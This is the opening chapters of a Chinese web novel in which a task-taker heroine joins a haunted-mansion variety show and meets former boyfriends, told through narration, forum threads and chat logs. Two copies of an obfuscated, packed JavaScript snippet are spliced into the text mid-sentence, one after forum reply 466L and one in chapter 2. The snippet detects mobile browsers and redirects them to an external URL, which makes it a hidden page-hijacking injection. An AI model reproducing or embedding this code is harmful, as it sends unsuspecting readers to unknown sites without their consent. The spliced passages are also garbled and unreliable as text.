《修罗场,易如反掌》 1. 001 【你好,梁觉星,系统检测当前任务进度达98.7%。新任务已发布,请问是否领取?】 梁觉星叼着一根小麦草,头发随意在脑后扎了个蓬乱的丸子,短t、牛仔裤,脚蹬一双雨靴,正闷头拖地,十来平的房间,满地都是血水,被拖布拖得哗啦啦地乱淌,紧闭的玻璃窗反射灯光,照清梁觉星眼尾一颗血红小痣——是迸溅的血点。 “是。” 她手下动作不停、没受影响。 【DA390-C任务读取中——】 【完成】 【本期任务名称:招魂;任务类型:目标人物生命保护;任务时长:综艺拍摄期间;任务规则如下、望悉知:】 【一、本次任务中你将与目标人物一同参与一档综艺节目,节目时长五天,请确保该综艺完成拍摄; 二、你是一个反派角色,请保证任务期间你的行为举止符合角色既往习惯; 三、你的主线任务是拯救目标人物、确保他在任务期间存活,目标人物是…(杂音)…目标人物信息:男性; 四、本任务背景有灵异成分,但你的人设是:无神主义者; 五、任务内可使用道具:外载道具:无;绑定道具:【幸运骰子】(说明:使用次数越少,幸运概率越大哦!)】 【……杂音……】 【……杂音……】 【特别提示:本任务中目标人物立场不明,你可能会被杀死,请保护好自己。】 梁觉星搬起一桶水往拖过一遍但依旧显得血淋淋的地上一泼,大臂肌肉绷起:“目标信息被屏蔽了?” 个人辅助系统突然闪现代替,无机质的机械音变成人声、带着仿真语气:【是的呢】 系统公布任务的时候一般会尽可能详细,不在这方面给任务者出难题,但是偶尔有的任务世界对外来任务者的排斥度较高,有些信息在释放时会被隐匿,概率很低,但一旦发生,隐匿的信息重要性就极高,比如任务需要保护的目标。 任务者被要求在任务中扮演反派就是这个原因,反派权重低,能有效降低被排斥度。 任务关键信息被隐匿这种事情梁觉星摊上过两次,一次是这次,一次是上次,上次…… 梁觉星手下动作一顿,忽然觉得有点不对,她运气一向不好她明白的,结合个人辅助系统莫名其妙的上线,她涌起不详的预感:“这次任务和我实习期第一个任务进入的是同一个背景世界吗?” 个人辅助系统用了一个清脆活泼的女声:“嗯嗯,时间线是上个任务结束后三年。任务者身份不变,后台显示您之前退出任务后未删档记忆,故系统不再补充相关信息。”它微妙地顿了一下,再开口语气有点八卦,“您上次在这个世界里谈了十二个男朋友呀?” …… 对,拜你们所赐。 当年她还只是个实习生,一上来就发现目标男主的信息是一团乱码,她能够获取男主信息的唯一方法是尝试使用绑定道具【幸运骰子】,掷骰子时可以随机释放解决当前困境的技能,面对死局效果极佳,提供n%正面效果+(100-n)%负面效果的解决方案。 优点是适用范围极广,缺点是幸运概率与使用者幸运值完全正相关,而梁觉星的幸运值……不提也罢。 当时使用【幸运骰子】,释放的技能是【甜美恋爱指南】(说明:什么?你找不到你的男主角了?你丢的是这个霸道总裁还是这个清冷学长?你也不知道?哇,诚实的任务者啊,我要奖励你很多男主角!所有的人选都在这里,但其中只有一个才是你的命定男主哦!只有你们足够亲密时,你才能分辨出谁才是你的白马王子!)然后给她标注出了十几个可能对象。 梁觉星当场被这番土的要死的技能说明震住了,第一次做任务没经验、人都蒙了,心想我作为一个反派,怎么跟他们亲密? 思考半天没想出答案,决定先靠近可能人选观察看看。 观察到第三天,对方突然问,要不要跟我谈恋爱? 梁觉星恍然大悟:哦——!还有这个方法。 当即决定试试。 运气好的话一次就能找出男主,运气不好的话……当年梁觉星谈了十二个男朋友。 个人辅助系统萌萌的:【哇,你是怎么在那么短的时间里谈了十几个男朋友的啊?】 ? 梁觉星没懂它在感慨什么。听人告白,然后答应,这很难吗? “不用专门做什么,就像你走在路上,想被你养的小猫总会跑到你的脚底下的。” 梁觉星将刚才处理工作时飞溅射进墙里的一小块染了血的白色碎骨拔下,一边观察一边接起响了两声的电话。 电话那头语气很沉:“梁觉星,我们查到前段时间跟踪你的那个人的身份了,是赵海东,你放心,我们已经派人去抓捕他了,你最近有见到他吗?” 梁觉星拉高音调、从鼻腔发出一道惊讶的疑惑,同时面无表情地两指夹住那块股骨将它扔进该待的地方:“嗯……好像没有。” 对方犹豫了两秒钟:“现在你的情况有点危险,你要不要……来我家住一段时间?”说着又赶紧补充道,“我们家挺大的,有两个卧室,你要是不放心我还可以……” “不用了,”梁觉星直接打断他,把装碎肉的袋子塞进行李箱,“这个城市太危险了,我准备搬去国外待待。” “哦对了,”啪的一声扣上锁扣,礼貌地跟人告别,“感谢你这段时间以来的照顾。” 两小时后,梁觉星提着行李箱出现在养猪场后门。地上有院墙上掉下来的玻璃碎片,她用脚踩住微微偏了一下角度,垂眼对着反光镜面抬手用拇指擦掉自己眼尾的那滴血渍:“为什么会突然提到前男友,我这次会遇到哪一个吗?” 个人辅助系统是团加载了仿真情感的虚拟数据,没有过走在路上被小猫缠尾巴的经历,但它看着后台上个任务里各个前男友的情感波动表,再对比此刻梁觉星提起前男友波澜不惊、表情淡漠的样子,隐约觉得不对:【你担心见到哪个前男友吗?】 “没所谓,都分手这么久了,他们不是应该已经开始新生活了吗?”她说着,悠然地挑了挑眉,“我倒也不需要有人为我守贞。” 后门响起脚步声,来人熟稔地接过箱子:“你这阵子到底在忙什么,我走私人通讯你从来不回,今天别走了,一会儿在我这儿吃晚饭。别再说下次啊,每次你说下次都不知道是什么时候。” 梁觉星笑了一下:“这次的下次你会知道的,我保证。” 任务完成退出后,系统会安排死亡结局。 “那你要记得啊,”对方咧开嘴,带着一根横过眉尾的伤疤的眼睛弯起,眼内显出与身份不符的真诚的、期待的笑容,“下次见面需要我带什么吗?” 系统冰冷的电子音响起:【任务进度:百分之百,请任务者及时退出。】 梁觉星想了想墓前的配置,“带花吧,”她说,“铃兰怎么样?” * 【你好,梁觉星,这是你上次的任务后常规性情感检测项目报告,恭喜你,结果正常。】 “谢谢。” 【但我注意到你每一次的结果值基本都是参考值范围内的最低值,鉴于过于稳定且持续的低数值数据,我会将你标记入E09类任务者,鲁斯指标会加入你的强制性检测项目。】 “好的。” 【情感检测记录显示出你一直以来在任务中都能很好地控制感情投入,或者说,你对任务中的任何人或事物不会投射真实情感,这在任务者中并不常见,请问你在生活中是否会遇到情感障碍类问题?】 “医生,我认为既然我们已经采取了科学的检测手段,就应该相信它的检测结果。” 【……抱歉。】 “希望你下次可以有更专业的表现。” * 【DA390-C任务接收中——】 【DA390-C任务确认】 【DA390-C任务背景载入中——】 【3】 【2】 【1】 【载入失败】 【失败次数:1/1,系统确认无法重置】 【任务者:梁觉星,等待进入】 * 【娱乐八卦交流论坛】-【灌水区】-【刚知道了影帝下凡那部综艺的另一个卡司】 1L(楼主) rt,楼主有几个娱乐圈的朋友,刚得知了一个内部消息,影帝下凡那部综艺的另一个卡司可以说是很惊人了,绝对是爆出来粉丝会疯的程度…… 2L xs,“有几个娱乐圈的朋友”,这开头典到不想看了,楼主别编了律师函已经在路上,而且不是传闻本版块版主之一是影帝粉?小心封号。 3L 等等,大神是你?本来想退出,结果看清楼主id是上次爆料ysl和wpt离婚那个,楼主你说话我是信的,所以卡司是哪个? 170L(楼主) 不好意思刚接了个电话,几分钟功夫楼都盖到这儿了,影帝流量果然不凡,我感觉这个帖子可能活不了太久,建议快看。 我这人说话直,我就直说了,是梁觉星。 171L ???????????? 172L ????????????? 173L ????????????????? 187L 已经报J了[微笑] 188L 我靠!真的假的!梁觉星?这一整个魅魔回魂啊! 189L 星砸!你终于回来了星砸!你知道没有你的日子我是怎么过的吗星砸!! 190L 如果是真的,我只能说,呕,秽土重生,我担影帝我先认了。 191L ……?花茶粉丝只想进来看个热闹,没想到这都能被踢一脚,不是,梁觉星这个恶魔怎么又回来了! 192L 梁觉星路人粉表示挺好,有她这个娱乐圈严选在,帅哥的判断标准都明确多了。想念梁觉星把娱乐圈搞得腥风血雨的时候。 193L 腥风血雨……你指梁觉星一年谈四个顶流/小鲜肉,前一波粉丝还没撕完,她就已经换了新男友的时候? 194L 纯路人,但在这个娱乐圈全员假人的时代,我有时候真的会怀念梁觉星说“我长这么漂亮,不跟帅哥谈跟你谈?”的样子……演技那么差,脾气那么辣。 374L 等等,不是,我有一个重要问题,梁觉星不是死了吗? 375L ?楼上你说话有点恶毒了 376L 374+1不是骂人啊,我是真有印象看过她出事的新闻…… 385L 374+10,我记得当时某个新闻媒体的标题是红颜薄命,我还感慨用词真土。 386L 搞什么,曼德拉效应? 465L(楼主) ???你们话题跑得真快。 没死哈,还是内部消息,听说她三年前突然失踪是出国结婚去了,老公是一贼有钱的老外。 466L 靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997008|178220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不愧是魅魔。搞完帅的搞有钱的。 467L 不愧是魅魔[点赞] 499L 不愧是魅魔[点赞] 537L 190L说话那么脏,我想问一句,梁觉星要是真回来了,你猜你担会不会立马舔过去啊?不是说梁觉星和宁华茶爆出恋情那天,影帝在枯木里喝了一晚上酒嘛,第二天的路演都没参加。 538L ……草,陆困溪你真该死啊。 671L 楼主还在吗,在的话我想问问,这综艺的制作公司是谁啊,这么牛逼能同时请来这两人。 673L(楼主) 不是制作公司牛逼。听说导演是秦楝。 674L Lyrean?那确实牛逼,没记错的话他出品的每个综艺无论收视率还是评分还是招商都是同期第一吧? 675L 秦楝的节目总让我觉得是在放大人性,私人觉得怪可怕的……说起来,他两年前那个综艺不是传言死了三个人? 697L 675L那个新闻我也听过,而且我听到的消息是不止三个,不过好像没什么证据,所以很快就被压下去了,也难怪,秦楝是LTV的头牌嘛,他综艺的收视率最夸张的时候超同期第二名五倍,可以说是一骑绝尘了。 910L 楼主,这个综艺的主题是什么你知道吗? 999L(楼主) 697L,秦楝狂不仅是因为背靠LTV,听说他自己本身就是个超——级富二代。 910L,这个不保真,说是生活慢综,主题好像是…… 【招魂】 ———————抱歉,因违反相关法律法规,本贴已被删除。——————— * 【禁止闲聊零工消息发放】(137) 10:21 花开富贵:招开荒保洁,700/天,日结。 小李:[举手] AAA王台汇汽车租赁:[举手] 西风:[举手] 天道酬勤:[举手] 【AAA叉车租赁阿华】 10:27 :我艹,哥,什么情况,日结700?这么顶?哪的活? 花开富贵:老房的 :艹,怪不得是这个价。那鬼屋卖出去了?这么多年不是一直说有什么人看着吗 10:41 花开富贵:你干不干? :干!都是多少年前的事儿了,我怕个屌! * 梁觉星选择进入任务,再睁眼,人在一个空荡车站——虚无梦境,系统为保护任务者大脑创造的东西,类似于现实世界与任务世界的中间站,梦境内容一般与任务者当下的潜意识相关。 梁觉星的梦境总是一个空空如也的地铁站,冰冷、安静,目之所及所有物体都是半融化的白色乳胶漆的颜色,没有明显光源、但十分明亮,亮度有点像医院的手术室。 梁觉星随意靠在一边墙面上,等待中间站过去——虚无梦境通常很短。 她听说别人的虚无梦境里内容丰富、五花八门,但她的中间站从来什么都没有——车没有来,而且似乎永远也不会来。 但原本平静的墙面忽然蠕动起来,柔韧的类肤材质的墙面下液体涌动,像是骨骼伸展,几乎在瞬间显现出一个成人男性的样子,只是脸部平滑没有五官、面貌模糊不清——像一个没有捏好的石膏人像,白色膏体还未凝固,泛着滑腻的光泽,他与墙体粘连、分离出大半躯体,从背后拥抱住梁觉星,嘴里发出一声包含痛苦的喟叹: “你回来了……” ? 梁觉星几乎要陷进这半凝固的液体里,她试图挣脱,但触手或是其它什么东西简直要从四面八方缠绕包裹住她。 那个声音亲密地贴在她的耳后,密密麻麻、重复不断。 “你还记得我吗?” “你还记得我吗?” “你还记得我吗?” 像个困居此处几百年的地缚灵、神智已经溃散、只执着于一个能让自己解脱的答案。 迟迟没有得到回复,他突然冲她发出咬牙切齿、撕心裂肺的怒吼,仿佛情绪已经完全崩溃:“为什么不回头!” “你看着我!你还记得我吗!” 束缚住她的那双胳膊紧紧勒住她的肋骨,他简直像想要把她嵌进身体里似的拥抱着她,十根手指深陷进她的皮肉里,似乎迫切地要穿过她的血肉骨头掏出她的心肺来看一看。 “梁觉星!你没有心!” * 【AAA叉车租赁阿华】 05:11 :[对方已取消] :[对方已取消] :[对方已取消] 05:17 :[对方已取消] :[未应答] :你他妈接电话!操!大刘是不是死了! 05:22 :[35”] :[47”] :我一闭眼就看见他他妈的吊着脑袋站在我眼前! 05:31 :我不行了。我要报警 花开富贵:别报警 :你现在知道怕了?我告诉你!没门儿!是你带我们去老房的!你别想跑! 花开富贵:老板会再给一笔钱,只要你闭好嘴。 06:54 :我要十万 * 梁觉星猛地睁开眼睛。 她在一辆行驶中、路途颠簸的汽车上。 2. 002 车辆行驶在路径狭窄、枯枝密布的林子里。 窗外是一片暗色。 厚重的浅灰色云层如即将倾倒的雪山般压在半空中,最深处翻滚着浓重的黑色,仿佛一张巨大沉重的黑幕从天际笼罩而下,涌动着将从众人身上倾轧过去。 像是末日前的最后一幕,带着一股不祥的压抑感。 陈知雪回完手头一百零八个问她梁觉星是不是回来了的消息,一转身,看到故事主人公已经醒了过来。 十分漂亮的一张脸,甚至由于过于美丽而显出一点隐隐的压迫感。外面阴天,所以车内开了暗色的顶灯,洒下一小片若有若无的光晕,她松散地围着一圈羊绒披肩,瓷白的脸被柔软的布料团住,在黑暗中像是靛蓝深夜里落下的第一片皎洁的雪花,散发着冰冷而清透的月光。 脸部的轮廓和五官的走势仿佛都被精细地描画过,睫毛长而浓密,并不卷翘,而是直直地戳下来,在微阖眼的时候能遮挡住神色,只留下一片朦胧的水光,而后睫毛微动,淡淡地乜斜过来,聚焦在她的身上,带着一点懒洋洋的散漫和那股仿佛永远也散不去的冷漠倦怠感。 陈知雪忽然想起来梁觉星和陆困溪的恋情刚被爆出来的时候,狗仔天天追着他们两个跑,有一次梁觉星从陆困溪在郊区的房子出来,被狗仔堵了正着,看梁觉星只有一个人,以为她是个软柿子,几乎要把摄像头怼到她脸上。 梁觉星避了一下没避开,原地停了两秒钟,然后一脚踹到他胸口,连人带机子掀翻了,狗仔拍下的最后一个镜头是从下而上的仰角,梁觉星垂着脸,神情恹恹的,眉心皱着一点,对他说:“滚。” 后来陈知雪在一个论坛里翻到那张照片,角度微斜、镜头画面有点模糊,画框里梁觉星看人的表情像在看狗。 照片下面的评论全是虎狼之词: “这个角度……我有一句话不知当讲不当讲,好想被梁觉星踩。” 陈知雪没再看,退出网页默默点了举报。 两人之间沉默一秒,然后梁觉星笑起来,眼尾微微弯起,那种平和、丛容、有点漫不经心的笑容:“好久不见。” 确实好久不见,陈知雪心想。三年前,梁觉星甚至连个靠谱的理由都没给她这个经纪人,交了违约金就解约,人也不知道跑到哪里去,上面的领导、身边的前男友们、下面的粉丝,天天催命似的问她梁觉星的近况,她说不知道,没一个人信。 究竟怎么能那么绝情,梁觉星,走得仿佛对自己一点眷恋都没有?陈知雪心情复杂,可她无法指责,对着梁觉星这张脸,好像很难去说什么难听的话。甚至会反思自己,怪我不够好,参与不了她的新生活也理所当然。 而梁觉星已经挪开视线,看向她身后。 “下雪了。” 陈知雪一下子被带跑思路,转身跟着看过去。 “看着是场大雪啊,可能有点麻烦了,从吉祥镇到拍摄地,本来单程跑就得一个多小时,要是走雪路的话,不得奔着三个点儿去。”她说着,转头问司机,“师傅,不能开不了吧?” 司机是当地人、说话带点口音:“不一定哦,几年前有过一场,连下了好几天,雪积到膝头,路都看不见,车也跑不了,老……你们要去的那个大房子就封掉啦,外头的人进不去、里头的人又出不来。” 他说着话,从后视镜里一眼一眼地去瞥梁觉星:“小姐,你们去那里干什么啊?” 梁觉星回视、捉住镜子里面那双眼睛:“怎么,那房子有什么问题?” 对视的瞬间司机一下子躲开眼神:“没有啦,哈哈……就是好偏嘛……” “确实,也不知道秦楝从哪儿找来的那么荒无人烟的房子,还不许我们跟着住,只让综艺的工作人员住在那儿。”陈知雪无声地动了几下嘴唇,看口型是在骂秦楝有病,又无奈叹口气,“没办法,封闭拍摄是秦楝的惯例了,他导演的每个综艺都有这个要求,听说刚开始的时候有一次拍摄中途还有演员逃了出来,精神恍惚地大喊秦楝是在闭门杀人。” 梁觉星点开手机搜索导演秦楝的名字,边问道:“后来呢?” 任务背景载入失败,她对这三年变故和目前情况一无所知,现在至少确认眼下是在前往综艺拍摄场地的路上了。 “后来?”陈知雪回忆了一下,“好像人进了精神病院,事情不了了之了吧。” “啧,秦楝导演的节目,火是火,但这个人……” 屏幕上已经蹦出搜索结果,秦楝,身份是著名综艺节目导演,后附一张侧脸照片,检索词条关联了几个综艺名称、和一堆显然十分出名的娱乐圈人员,关键词是热搜、爆款、惊人、收视神话。 梁觉星很快翻到一个帖子,里面评价秦楝行事不择手段。 “不要跟秦楝说杀几个人给各位助助兴,他会当真的。” 梁觉星的手指指尖轻轻叩了叩屏幕。 会是男主吗? “你那里有这次综艺的嘉宾名单吗?” 秦楝只让工作人员住在拍摄房子内,那目标男主的范围基本可以确定在这些人里。 “我没有,秦楝保密措施一向做的很好,只故意往外发了一堆噱头。”陈知雪想起网传的那几份五花八门、精彩纷呈的名单,感觉有点牙酸,“宝贝,秦楝邀你的时候也没告诉你吗?” …… 纯大纲型做任务的梁觉星面不改色地回答: “嗯。” 她垂眼看着秦楝的头像,手指间一颗看上去平平无奇的骰子悄然出现。 犹豫着在手指间转动了一会儿,而后轻轻一抛,合起手掌接住。 几秒后反转拳头,掌心朝上打开。 1 1,这颗骰子上所有数字里的最小值。 表明幸运值无限接近零。 * 车辆行驶过程中,雪越下越大。绒毛般的雪花几乎连成一片地从天幕坠落下来,昏暗的视野里只剩下明明灭灭的雪色。 司机视线不佳,降了速、开了雾灯,一片安静中,这条小道上似乎只剩下这辆车还在行驶,犹如整个世界陷入沉睡、唯有这辆车被抛弃在了没有边际的荒野之中游荡,昏黄的车灯只能照亮不远的一片路,重复的颠簸中他们像是在驶向不祥的死亡。 然后他们终于穿过那片林子,看到了庄园大门,近七米高的铁质城堡门、造型很古朴,过高,甚至顶端的尖刺隐没在雪雾之中,车辆从其中穿过的时候仿佛在驶入什么异世界的入口。 陈知雪正在噼里啪啦地回手机消息,她手下不止梁觉星一个艺人,其中某个新出道的小明星正跟她尖叫说自己去酒吧好像被人拍到了,陈知雪心说你活该、一边赶紧联系人准备公关方案,就在这时她忽然感到一股寒意顺着脊背爬上后脑,短短一瞬整个人都僵了,像是触碰到电流、连脸都是麻的。 她猛地顺着直觉扭头,透过窗户看向大门。 “怎么了?” “没什么……”她不知道该怎么解释自己的感受,她感觉有什么东西在看着自己,那束目光……似乎是来自大门的上面,那片阴暗的雾霭之中。 这种被盯着的感觉有些熟悉,她想起之前梁觉星有一个变态粉丝,不知道通过什么途径弄到她的手机号,给她发消息,问她为什么对梁觉星不好,为什么梁觉星今天穿的衣服不够暖和、在飞机上为什么给梁觉星点含酒精的饮料、梁觉星的小腿上有一块淤青是不是受伤了。 那个人似乎无时无刻不在盯着梁觉星和自己。 有一次凌晨,她陪完梁觉星先从彩排室出来,空荡的走廊里只有她一个人的脚步声回响,“叮”,她的手机忽然震动了一下。 头顶冷白的光打在她的身上,影子扭曲地拖曳在地,她的心脏莫名地猛地一跳。深深吸了口气,她缓缓地从兜里掏出手机。 手机屏幕亮着,显示有一条新消息。 手指颤抖着点上去。 是一张图片,阴暗的走廊里,她一个人的侧影——正是现在的她。 但脸的部分被人用血红色画笔用力杂乱地画了无数道,就像充斥着怒气要用刀子把她的脸划烂! 她猛地转过身去,看到旁边的楼梯上站着一个人,半张脸埋在阴影里,虽然看不清他的脸,但陈知雪莫名知道他的眼睛在死死地盯着她! 看到她发现自己,他的嘴角慢慢扬起、形成一个近乎变异的大大的笑容。 一股冷意窜上,她在那道充满恶意的眼神下毛骨悚然、僵直着身体几乎没有办法动弹。 那种感觉和现在很像,但陈知雪深深吸了口气,告诉自己那个变态粉丝已经死了,在梁觉星退圈的第三个月,自杀,死在一间挂满梁觉星照片的房间里,死前试图用刀子挖出自己的心脏,放到祭坛上一个画着六芒星的碗里。 血液喷散了一墙,表情兴奋癫狂。 无论如何、反正是死了。 陈知雪慢慢移开目光,看向别处。 这别墅占地很大,院子里面似乎原本建有喷泉和各色雕塑,但是未建完或是中期毁坏,现在只能零零散散、没有规划地散落在空地上。在雪中看不清具体的造型,车辆快速掠过一个个或远或近的灰色影子。 自大门开始、又开了十多分钟才到房子,整体比一般别墅要大,看样子似乎一开始是照着古董城堡建的,一眼望去、造型格局要更复杂,而且看起来有些旧,伫立在这片冰冷的风声中,隐隐的有些压抑。 门口已经停了几辆车,司机停在最靠近门的一辆黑车边。 那辆车旁正站着一个男人,高大、身型挺拔,穿着一件黑色大衣,剪裁昂贵、很贴身型,隔着一段距离都能感觉到一点压迫感。 梁觉星拉开车门,顺势向那边望了一眼。对方似乎是敏锐得察觉到梁觉星的注视,几乎在同一瞬间转身看向她。 两人距离不远, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997009|178220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁觉星能清晰地看到他的面部。十分英俊,浓眉、深目,像精心雕刻好的石膏像,大概有北欧那边的血统,鼻子的弧度优越而漂亮,睫毛很长、甚至落了一点积雪、融化成浓墨一般的颜色。看人的目光很直接,但眼神冷漠矜贵、不屑一顾。 看清梁觉星后,他面无表情地转过头去,仿若没有看到她。 还挺有特色,梁觉星在心里做标记,想着一会儿要接近了解一下,看有没有可能是男主。 目标信息被隐匿的任务不多,她在培训的时候在论坛里看过一个分析帖子,说这类人选通常非常明显,一般是那个你在人群中能够一眼发现的人,长着一张与普通人格格不入的仿佛在黑夜里自带闪光的脸,且气质非比寻常,一看就吃过人生很多苦或者这辈子都不会吃人生的苦。 这位就长得很像后者。 不对。 梁觉星停下,再看一眼。 ……? 那个没有用的废物帖子要坑她几次? 这就是她上次在这个任务世界里根据那个分析重点挑选出的第一个男主角! 陆困溪,前男友——之一。准确来说是上个任务中她谈过第一个男朋友,从外貌到背景完全符合要求、让她在人群中第一个挑中,但竟然不是任务目标。 【甜美恋爱指南】判断他们两个人的亲密值合格后,陆困溪身上跳出了一个巨大的破碎心脏的3D立体图标,同时伴随着一阵电闪雷鸣的音效,一个电音十分真情实感地在风雨声中对她哭喊:“他~不~是~你~的~男~主~角~” 梁觉星本来以为男主近在咫尺、任务就快完成,没想到中道崩殂,回去缓了一天,给陆困溪发了分手的短信,语言简单凝练,意图清晰。 陆困溪没有回复。 但分手的消息本来就不需要得到回复,通知自送达时自动生效,梁觉星单方面判定这段感情终止。 回忆间陆困溪已经转过身去,人站在风雪里,背影比风雪还冷。 梁觉星看着他,心想,倒不意外,她记得当初是陆困溪先告白,但姿态仿佛是在降下恩典。 陈知雪从车后拖着行李箱出来,看到陆困溪的一瞬间人懵了,我去,网传名单难道是真的? 那这个事儿可就…… 她转头看向梁觉星,梁觉星已经挪走注意力,伸手准备从她手里接过行李,“那家伙忘了我了?”虽然是疑问句,但说得轻松,全不在意。只奇怪对方怎么会不记得自己,但想当然认为人分手后应该自发斩断前缘、冷静前看,一点不怀疑某位前男友会对自己恋恋不舍。 天菩萨,你怎么会有这种想法…… 陈知雪眼神在两人间走了个来回,一口冷气吸进去,从喉头哽到胸口:“我想他……没有吧。” 半年前,凌晨两点多钟,陆困溪的经纪人忽然给她打来电话,语气很难听,质问她梁觉星到底跑哪里去了。陈知雪说不知道,他说你别放屁了,说完抹了把脸,声音里带着恳求,感觉像是被逼到穷途末路了,说你知道吗,陆困溪现在在医院,他没有梁觉星可能真的活不下去,求你让梁觉星露个脸吧,哪怕说一句话也行。 陈知雪致以同情、歉意、亲切的慰问,但她确实帮不上一点忙。 后来的事情陈知雪不清楚,只知道过了两个月陆困溪再出现在大众视野里的时候,还是那张拽得要死的脸,仿佛为情所困这个词一辈子都跟他扯不上关系。 陈知雪想跟梁觉星解释陆困溪这个问题不是你想的那样,又想解释人员名单里可能还有别的问题,两个问题混杂在一起,像一团纠缠在一起随时可能被引燃谁先谁后已经没有意义的爆/炸物。 “呃……我去找工作人员要份嘉宾名单,”陈知雪握紧行李箱箱杆、像握紧防弹盾牌,“反正都现在这个时候了,也没什么保密的必要。” “嗯,不着急。”梁觉星扫了她一眼,收回手,抬头打量房子,“其他的嘉宾也不会比陆困溪更有问题,晚看两分钟也没什么所谓。” 陈知雪点头,果断跑了。 好的,宝贝,先点哪根引线你自己看着来吧。 愿丘比特保佑你,阿门。 梁觉星准备跟上时,脚下一顿。 她转头看向一旁。 略远处,有一个对着他们的摄像头。 红色指示灯在雪堆里沉默地闪烁——如一双眼睛。 * “DA390-C任务报错,虚无梦境遭受污染。” 【反馈上传中——】 …… …… 【上传失败】 【上传失败】 【上传失败】 【系统发生未知错误,代码:310-A17,后台检测中——】 【c0000022程序无法正常…(杂音)…检测完成,未发现异常】 【报错程序终止,后台数据清理完成】 3. 003 梁觉星进屋时,大厅里一群工作人员正在扎堆调设备,人群中有个人很显眼,个高腿长,穿了件红色的冲锋衣,脖子上挂着个耳机,懒散地独自一人靠着墙面打游戏。 听到声音,抽空往这边瞟了一眼,五官英俊,骨相很凌厉,眉宇之间有股张扬恣意的桀骜,头发有点凌乱、不知是专门抓的发型还是懒得打理,一张不好惹的臭脸,像那种典型的不良少年。 ……? 这个也好熟悉。 梁觉星脚步顿住三秒钟,宁华茶已经对着她发出冷笑。梁觉星一下子回忆起来。 宁华茶,前男友——之二,续在陆困溪之后的那个,素人时候一张在酒吧弹吉他的照片意外火了,被经纪公司紧急挖去出道,脸臭话少脾气爆、粉丝竟然也不少。 梁觉星看着他有点纳闷,心想人二十多岁了还能长个吗?怎么看起来比印象里更像条狼了,以前分明像狗啊。会在自己问他受伤痛不痛的时候睁着一双无辜大狗眼说:“姐姐,亲亲我吧,亲一下就不痛了。” 分手的时候答应得很爽快,仿佛只把恋爱当作玩玩而已,但用眼神去控诉,好像在说我早该知道你不是个好东西。 但记得分手不久后,两人有一次意外碰见,暴雨里,宁华茶几乎被雨淋透了,看着她,表情不知是难过还是什么,和那张帅气且野性的脸格格不入,像被一枪击中心肺的豹子,太痛了,又自知无路可走,有一种血腥的痛苦,他在雨中对她说了些什么,梁觉星没有听清,宁华茶就已经被匆匆赶来的经纪人捞走了。 梁觉星午夜梦回,怀疑宁华茶当时说的可能是“我恨你”,但又觉得不至于,年轻人谈个恋爱而已,上升不到这个高度吧? 何况现在看来,梁觉星回视宁华茶,他正盯紧自己,眼睛里有一层浮冰似的光。梁觉星判断,不像是余情未了。 一道戏谑的声音忽然打破这场久别重逢的四目相对:“我说你到了这么久一直不上楼,原来是在这儿等梁觉星啊?” 宁华茶的表情一下子变了。 梁觉星循声望去,看见不远处的秦楝,不知是有心还是无意,他的身影半被厚重窗帘遮盖住,怪不得他俩刚才一直没有发现。 仿古堡的设置,连窗台都足够宽,秦楝慵懒地倚坐在上面,身前托盘上放着几盘精致的小点心,左手端着威士忌酒杯、右手夹着一根烟,才下午四点多钟,他那样子仿佛已经把自己灌醉了。 一张标准的混血脸,线条分明、利落,眉眼漂亮,像以前的SaintLaurent男模,穿珍珠灰塔夫绸外套,搭配窄细条纹裤子,苍白、消瘦,漫不经心地走T台,贵气里混杂着颓靡性感。 导演这个身份对综艺太过重要,结合他的风评、和如此优渥的长相,梁觉星给他一个疑似男主的位置,多看了两眼。 看梁觉星凝视自己,秦楝笑眯眯地冲她挥了挥手:“hello,小婶婶~” ……? 谁? 我? 我结婚了? 还有个侄子? 我只是死了,不是疯了。这三年空白时间里到底给我安排了什么破剧情? “我还是前几天闲来无事翻家谱才发现这层亲戚关系,”秦楝饶有兴趣地上下打量着她,眼睛懒懒地弯一点,“早知道是小婶婶你,我去年圣诞节就回家过了。真可惜,看不到你站在槲寄生下面的样子。” ……? 这个便宜侄子在讲什么胡话? 梁觉星还没有说话,宁华茶先开口,语气冷硬,听上去气急败坏:“梁觉星,你真的没有……” 话没说完,被梁觉星看了一眼,不自觉闭嘴,又仓皇解释道:“谁在等你,我在玩游戏。” “哈,”秦楝又笑了一声,用玻璃杯轻轻敲了敲窗户吸引人的注意力,眼睛因为愉悦而显得亮晶晶的:“这房子建造的时候墙体里嵌了一层金属板,网络差的很。”他像在提建议,但语气不怀好意,“所以下次……还是去别的地方玩吧。” 宁华茶现在的表情看上去真的有点像条无措的落水狗了。 梁觉星看着宁华茶,神色软了点儿,说实话,宁华茶这个样子看上去真的有点可怜,就算不喜欢,看到一条狗可怜巴巴地垂着眼睛对你嗷嗷叫,你也只能叹口气俯下身去把它湿乎乎的毛撸一遍,然后翻遍全身上下看有没有一根肉肠能喂给它吃。 宁华茶被她注视着,愣了一下,然后忍不住扭开头去。梁觉星脸上惯常只有一点冰冷的厌倦神情,偶尔露出这么一点柔软的无奈,让他忍不住期待,或许是爱吧……她对我。 但知道不可能。 心里有点痒、又加倍痛。 梁觉星又转头去看秦楝,冲人皱了一下眉头,意思很明确,示意他闭嘴,不要欺负小孩子。秦楝脸上还笑着,又故作可怜的表情讨饶,表示自己知道错了。 看她要走,又叫住她:“要不要跟观众朋友们打个招呼啊?” 